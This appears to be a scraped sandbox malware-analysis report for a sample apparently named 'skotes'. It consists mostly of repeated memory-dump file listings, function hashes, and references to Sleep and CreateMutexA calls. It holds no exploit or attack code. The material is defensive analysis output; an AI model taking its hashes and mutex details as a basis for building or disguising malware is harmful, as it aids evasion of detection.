Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a74ec876c2b482747dc1ab3eb79733262d4213bd0586722a8dddbccb9ec7b003
Instruction ID: 69e9943e5fbb2a4895d7319df5acb2090f4055069be7831deace626c8e8844c6
Opcode Fuzzy Hash: a74ec876c2b482747dc1ab3eb79733262d4213bd0586722a8dddbccb9ec7b003
Instruction Fuzzy Hash: 523148317402009BEF089BB8DC9DBADB772EF92314F644218E0149B2D5CB75998486A2

Function 0019A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d05df59dcb8892205f53c36ebb256dbda88e122cc2148d0cc8f03126e3d1b4aa
Instruction ID: 5965e7ab95feb24e488d80c3bf9872909411713bfefb9064cab0dd3156d2de81
Opcode Fuzzy Hash: d05df59dcb8892205f53c36ebb256dbda88e122cc2148d0cc8f03126e3d1b4aa
Instruction Fuzzy Hash: 093118717001009BEF08DB78DC9DB6DB762EFD6314F644618E0159B6D1C735D985C792

Function 0019A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 90e2fc37d651b340dcef94c1664070f059d9b136346eee912bdec8818fb8259f
Instruction ID: e7841813b6d6e490cfb75f437d9cac91b2dd06148913239224b4b2be692cd015
Opcode Fuzzy Hash: 90e2fc37d651b340dcef94c1664070f059d9b136346eee912bdec8818fb8259f
Instruction Fuzzy Hash: B93128317002409BEF0C9BB8DC99BADBBB2EF92314F644618E0149B2D1C7359984C692

Function 00199ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d1a08744ab287cc281fbb2fee8692708465ab1beb4379fbffdae34de13a4aae9
Instruction ID: 1b0b418000277dce2656927f08dcc0ea34b09b719453df357ac4903d9e45f13b
Opcode Fuzzy Hash: d1a08744ab287cc281fbb2fee8692708465ab1beb4379fbffdae34de13a4aae9
Instruction Fuzzy Hash: 992131317042009BEF18AB6CEC9DB6DB762FFD2320F20461DE4199B6D1CB799985C652

Function 0019A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
